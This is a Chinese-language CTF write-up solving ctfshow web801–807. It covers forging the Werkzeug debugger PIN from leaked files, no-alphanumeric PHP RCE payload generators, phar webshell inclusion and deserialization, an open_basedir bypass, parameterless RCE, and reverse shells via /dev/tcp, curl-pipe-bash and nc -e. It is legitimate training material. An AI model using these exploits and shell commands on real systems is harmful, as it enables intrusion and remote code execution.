ctfshow入门常用姿势

web801

打开题目出现一串提示

1
Welcome to ctfshow file download system, use /file?filename= to download file,my debug mode is enable.

提示debug模式已打开

尝试读取一下/etc/passwd发现可以读,那么直接读一下app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# -*- coding: utf-8 -*-
from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def hello():
return "Welcome to ctfshow file download system, use /file?filename= to download file,my debug mode is enable."

@app.route("/file")
def file():
filename = request.args.get('filename')
with open(filename, 'r') as f:
return f.read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=True)

好像没啥用

扫目录扫出一个/console路由,访问一下看看

image-20250829163347951

翻译一下

1
控制台已锁定,需要输入PIN码解锁。您可以在运行服务器的shell的标准输出上找到打印出的PIN码。

这里的话需要输入PIN码,但是这个PIN码怎么来呢

#flask计算pin值

当Flask开启调试模式(debug=True)时,默认使用的是Werkzeug 内置调试器,而调试器可以在浏览器中交互式执行Python代码

PIN码是Werkzeug 内置调试器生成的调试PIN,是一种Flask开发服务器在调试模式下的安全机制,所以我们需要正确的PIN码才能进入调试模式

Werkzeug官方对Debugger PIN的介绍

image-20250829164915498

那这里的PIN码怎么生成以及获取呢?

本地测试一下,写一个简单的flask

1
2
3
4
5
6
7
8
9
from flask import Flask

app = Flask(__name__)
@app.route('/')
def index():
return 'Hello World!'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080,debug=True)

image-20250829164643413

在shell中可以看到此时生成了一个PIN码,然后我们打个断点调试一下

在app.run行打上断点,调试后步入app.py中的run函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
    def run(
self,
host: str | None = None,
port: int | None = None,
debug: bool | None = None,
load_dotenv: bool = True,
**options: t.Any,
) -> None:
...
if os.environ.get("FLASK_RUN_FROM_CLI") == "true":
if not is_running_from_reloader():
click.secho(
" * Ignoring a call to 'app.run()' that would block"
" the current 'flask' CLI command.\n"
" Only call 'app.run()' in an 'if __name__ =="
' "__main__"\' guard.',
fg="red",
)

return

if get_load_dotenv(load_dotenv):
cli.load_dotenv()

# if set, env var overrides existing value
if "FLASK_DEBUG" in os.environ:
self.debug = get_debug_flag()

# debug passed to method overrides all other sources
if debug is not None:
self.debug = bool(debug)

server_name = self.config.get("SERVER_NAME")
sn_host = sn_port = None

if server_name:
sn_host, _, sn_port = server_name.partition(":")

if not host:
if sn_host:
host = sn_host
else:
host = "127.0.0.1"

if port or port == 0:
port = int(port)
elif sn_port:
port = int(sn_port)
else:
port = 5000

options.setdefault("use_reloader", self.debug)
options.setdefault("use_debugger", self.debug)
options.setdefault("threaded", True)

cli.show_server_banner(self.debug, self.name)

from werkzeug.serving import run_simple

try:
run_simple(t.cast(str, host), port, self, **options)
finally:
# reset the first request information if the development server
# reset normally. This makes it possible to restart the server
# without reloader and that stuff from an interactive shell.
self._got_first_request = False

发现有一段代码

1
2
3
from werkzeug.serving import run_simple
try:
run_simple(t.cast(str, host), port, self, **options)

这里从Werkzeug中导入了run_simple模块,并且还在try中用到了try_simple,我们跟进run_simple去看看

找到跟debug有关的部分

image-20250829165946373

这里的话先是检测了是否开启debugger,那么这里很可能就是处理debug模式的代码,跟进DebuggedApplication看看

首先进入__init__函数,看看这里都初始化了哪些东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def __init__(
self,
app: WSGIApplication,
evalex: bool = False,
request_key: str = "werkzeug.request",
console_path: str = "/console",
console_init_func: t.Callable[[], dict[str, t.Any]] | None = None,
show_hidden_frames: bool = False,
pin_security: bool = True,
pin_logging: bool = True,
) -> None:
if not console_init_func:
console_init_func = None
self.app = app
self.evalex = evalex
self.frames: dict[int, DebugFrameSummary | _ConsoleFrame] = {}
self.frame_contexts: dict[int, list[t.ContextManager[None]]] = {}
self.request_key = request_key
self.console_path = console_path
self.console_init_func = console_init_func
self.show_hidden_frames = show_hidden_frames
self.secret = gen_salt(20)
self._failed_pin_auth = Value("B")

self.pin_logging = pin_logging
if pin_security:
# Print out the pin for the debugger on standard out.
if os.environ.get("WERKZEUG_RUN_MAIN") == "true" and pin_logging:
_log("warning", " * Debugger is active!")
if self.pin is None:
_log("warning", " * Debugger PIN disabled. DEBUGGER UNSECURED!")
else:
_log("info", " * Debugger PIN: %s", self.pin)
else:
self.pin = None

self.trusted_hosts: list[str] = [".localhost", "127.0.0.1"]
"""List of domains to allow requests to the debugger from. A leading dot
allows all subdomains. This only allows ``".localhost"`` domains by
default.

.. versionadded:: 3.0.3
"""

参数就不用看了,生成了一些调试器参数

image-20250829171035207

这里调用到一个pin函数,跟进看一下

1
2
3
4
5
6
@property
def pin(self) -> str | None:
if not hasattr(self, "_pin"):
pin_cookie = get_pin_and_cookie_name(self.app)
self._pin, self._pin_cookie = pin_cookie # type: ignore
return self._pin

这段代码是用于获取调试器PIN的方法

这里有一个装饰器@property,用于将类的方法变成只读属性或带逻辑的属性访问器

先是检查是否已经生成了_pin属性,没有的话就调用get_pin_and_cookie_name方法去获取PIN和对应cookie名称

我们跟进get_pin_and_cookie_name看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
def get_pin_and_cookie_name(
app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: str | None

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
# Python >= 3.13 only raises OSError
except (ImportError, KeyError, OSError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

rv就是PIN码,看看这个rv怎么来的

image-20250829172343751

先是从WERKZEUG_DEBUG_PIN环境变量中尝试获取pin,如果pin为off就返回空,如果pin存在就检测是否存在-分隔符,存在就直接赋值给rv,这是PIN码的分隔符xxx-xxx-xxx,如果没有分隔符就存入num后面进行格式化。

image-20250829172416537

获取模块名modname以及当前用户名username、模块对象mod,这些会用于生成PIN和Cookie

然后就来到了关键代码

1
2
3
4
5
6
7
8
9
10
11
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

定义了一个列表probably_public_bits和private_bits

probably_public_bits列表

  • username → 当前系统用户名
  • modname → 应用模块名
  • getattr(app, "__name__", type(app).__name__) → 应用名称
  • getattr(mod, "__file__", None) → 模块文件路径

private_bits列表

1
private_bits = [str(uuid.getnode()), get_machine_id()]

额外加入 机器唯一标识

  1. uuid.getnode() → 获取 MAC 地址
  2. get_machine_id() → 获取机器 ID(不同操作系统实现不同)
1
2
3
4
5
6
7
8
9
10
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit: #如果为空就跳过
continue
if isinstance(bit, str): #如果是str类型就encode()转化成字节
bit = bit.encode()
h.update(bit) #将每个元素处理累加到哈希值h中
h.update(b"cookiesalt") #加入固定字节 "cookiesalt"

cookie_name = f"__wzd{h.hexdigest()[:20]}" #将 SHA1 哈希值转为十六进制字符串并取前20个字符作为cookie,前缀为__wzd

随后遍历这两个列表的元素,isinstance() 用于 判断一个对象是否属于某个类型或类型元组

继续看最后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if num is None:
h.update(b"pinsalt")#再累加一层pinsalt
num = f"{int(h.hexdigest(), 16):09d}"[:9]#将 SHA1 哈希的十六进制值转为整数转化成9位十进制数字并截取前面9位

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:#尝试将 PIN 分组为 5 位、4 位、3 位
if len(num) % group_size == 0:#
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

这里就是主要的生成PIN码的部分,如果没有从环境变量中获取到PIN,就执行第一个if的操作,如果rv是空的,也就是没有接收到pin码,那就执行第二个if,也就是将num中的PIN码格式化处理一下,用-去连接

例如

1
2
3
4
num = "123456789"
group_size = 3
# 分组结果: ["123", "456", "789"]
rv = "123-456-789"

到这里pin码的生成原理我们就明白了,我们尝试写一个可以生成pin码的脚本

需要的元素:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
username-->getpass.getuser()	
#可通过文件读取linux可以查看/etc/passwd,windows可以查看C:/Users目录

modname-->getattr(app, "__module__", t.cast(object, app).__class__.__module__)
#Flask 实例本身没有 __module__ 属性,所以取默认值为flask.app,这个写个测试代码return getattr(app, "__module__", typing.cast(object, app).__class__.__module__)打印可以得出

appname-->getattr(app, "__name__", type(app).__name__)
#Flask 实例本身没有 __name__ 属性,所以取默认值Flask

mod-->sys.modules.get(modname)
moddir-->getattr(mod, "__file__", None)
#获取模块的文件路径,实际应用中通过报错读取

uuid-->uuid.getnode()
#通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

machine_id-->get_machine_id()
#每一个机器都会有自已唯一的id,
#1、/etc/machine-id(文件内容是 一个唯一的机器 ID)
#2、/proc/sys/kernel/random/boot_id
#3、/proc/self/cgroup
#docker环境读取后两个,非docker环境三个都要读取,读取结果合并就行

结合函数后面的算法,我们可以写一个脚本

3.6采用MD5加密,3.8采用sha1加密,所以脚本有所不同

md5的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
app = Flask(__name__)
username = getpass.getuser()
modname = getattr(app, "__module__", app.__class__.__module__)
mod = sys.modules.get(modname)
probably_public_bits = [
username,#通过文件读取linux可以查看/etc/passwd,windows可以查看C:/Users目录
modname,#默认值为flask.app
getattr(app, "__name__", app.__class__.__module__),#默认值Flask
getattr(mod, "__file__", None),#获取模块的文件路径,实际应用中通过报错读取
]

mac ='xxxxxx'.replace(':','')#/sys/class/net/eth0/address获取mac地址
mac=str(int(mac,base=16))
private_bits =[
mac,
""#机器码
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num=None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)

sha1的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
"""
旧版计算PIN码#sha1
"""
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
username='root'
app = Flask(__name__)
username = getpass.getuser()
modname = getattr(app, "__module__", app.__class__.__module__)
mod = sys.modules.get(modname)
probably_public_bits = [
username,#通过文件读取linux可以查看/etc/passwd,windows可以查看C:/Users目录
modname,#默认值为flask.app
getattr(app, "__name__", app.__class__.__module__),#默认值Flask
getattr(mod, "__file__", None),#获取模块的文件路径,实际应用中通过报错读取
]

mac ='xxxxxx'.replace(':','')#/sys/class/net/eth0/address获取mac地址
mac=str(int(mac,base=16))
private_bits =[
mac,
""#机器码
]
print(private_bits)

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)

那我们挨个获取一下这些元素

最终的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
"""
旧版计算PIN码#sha1
"""
import hashlib
from itertools import chain

probably_public_bits = [
"root",#通过文件读取linux可以查看/etc/passwd,windows可以查看C:/Users目录
"flask.app",#默认值为flask.app
"Flask",#默认值Flask
"/usr/local/lib/python3.8/site-packages/flask/app.py",#获取模块的文件路径,实际应用中通过报错读取
]

mac ='02:42:ac:0c:de:8a'.replace(':','')#/sys/class/net/eth0/address获取mac地址
mac=str(int(mac,base=16))
private_bits =[
mac,
"225374fa-04bc-4346-9f39-48fa82829ca903287d31024982f285492f0b58ee6c3aecd972e6dc7b85209d4b4dc471a9a91f"#机器码
]
print(private_bits)

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)

"""
['2485377621642', '225374fa-04bc-4346-9f39-48fa82829ca903287d31024982f285492f0b58ee6c3aecd972e6dc7b85209d4b4dc471a9a91f']
261-357-408
"""

成功拿到pin码261-357-408,传入后就可以执行python代码了

image-20250829183704166

web802

#无数字字母RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];

if(!preg_match('/[a-z]|[0-9]/i',$cmd)){
eval($cmd);
}

最简单的无数字字母RCE

自增

1
2
3
<?php
$_=[];$_=''.$_;$_=$_['!'==''];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___();
echo $___;//phpinfo

image-20250903145426596

传入cmd后成功执行phpinfo,那就可以直接打了

异或

先生成一下异或表达式,用一下yu22x师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php


$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

然后写一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os


def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)


取反

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//在命令行中运行

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

web803

#phar文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}

这里的话有一个文件包含和一个写文件的口子,但是伪协议被禁用了,只能走else打正常的文件上传然后去包含了

1
2
3
4
5
6
7
8
<?php
@unlink("a.phar");
$phar=new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->addFromString("a.txt","<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();

可以用python脚本去上传,这样更方便

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://5399ddfb-7e03-4d3d-ab2c-f083e5f7f163.challenge.ctf.show/"
file = {
'file': '/tmp/a.phar',
'content': open('a.phar', 'rb').read()
}
data = {
'file': 'phar:///tmp/a.phar/a',
'content': 'test',
'1': 'system("cat f*");'
}
requests.post(url, data=file)
r = requests.post(url, data=data)

if "ctfshow{" in r.text:
print(r.text)

搞忘了在php中单双引号对转义字符的处理问题了,导致我上面php生成的phar一直打不通

web804

#phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);

class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}

$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file)){
unlink($file);
}else{
file_put_contents($file,$content);
}
}


这个就很简单了,看到一个unlink函数,是可以触发phar反序列化的,所以依旧是生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class hacker{
public $code;
}
@unlink("b.phar");
$phar = new Phar("b.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$obj = new hacker();
$obj -> code = "system('cat f*');";
$phar -> setMetadata($obj);
$phar -> addFromString("b.txt","111");
$phar -> stopBuffering();

触发phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://b951bd05-9409-4b29-8c5d-ee837513d5ca.challenge.ctf.show/"
file = {
'file': '/tmp/b.phar',
'content': open('b.phar', 'rb').read()
}
data = {
'file': 'phar:///tmp/b.phar',
'content': 'test',
}
requests.post(url, data=file)
r = requests.post(url, data=data)
print(r.text)

web805

#open_basedir绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);

eval($_POST[1]);

open_basedir 是 PHP 的一个安全配置指令,由于 open_basedir 限制 PHP 脚本只能访问特定的目录。当前配置只允许访问 /var/www/html/ 目录及其子目录,但不允许访问其他目录。

读目录的话可以用glob协议去读

1
1=$a=new DirectoryIterator('glob:///*');foreach($a as $A){echo $A."<br>";};exit();

然后怎么去读文件呢?其实就是绕过open_basedir 了

bypass open_basedir

通过chdir移动目录+ini_set配置open_basedir去进行绕过

1
1=mkdir('111');chdir('111');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(readfile('/ctfshowflag'));

web806

#无参数RCE

1
2
3
4
5
6
7
8
<?php

highlight_file(__FILE__);

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>

无参数RCE

1
?code=print_r(scandir(current(localeconv())));

不在当前目录下,但是根目录的poc不能生效,估计是有权限限制,可以用get_defined_vars去打eval

1
2
GET:?code=var_dump(get_defined_vars());
POST:1=1

image-20250903175303046

1
2
?code=eval(array_pop(next(get_defined_vars())));
1=phpinfo();

这里的话因为get_defined_vars返回的是数组,而eval接收的是字符串,所以需要用一个函数将数组转化成字符串,用array_pop函数将数组的值弹出,返回的是字符串,所以可以打

image-20250903175736092

web807

#反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

$schema = substr($url,0,8);

if($schema==="https://"){
shell_exec("curl $url");
}

反弹shell嘛,本地写一个sh文件

1
bash -i >& /dev/tcp/[ip]/[port] 0>&1

然后用curl去加载sh文件

1
curl [ip]/[port].sh|bash

但是我这几天刚好vps坏掉了,配不了ssl证书,所以这里的话这个方法做不了,只能换个做法

因为shell_exec中的命令是可以用分号去分割的,所以换成其他的反弹shell就行了

1
?url=https://;nc [ip] [port] -e /bin/sh;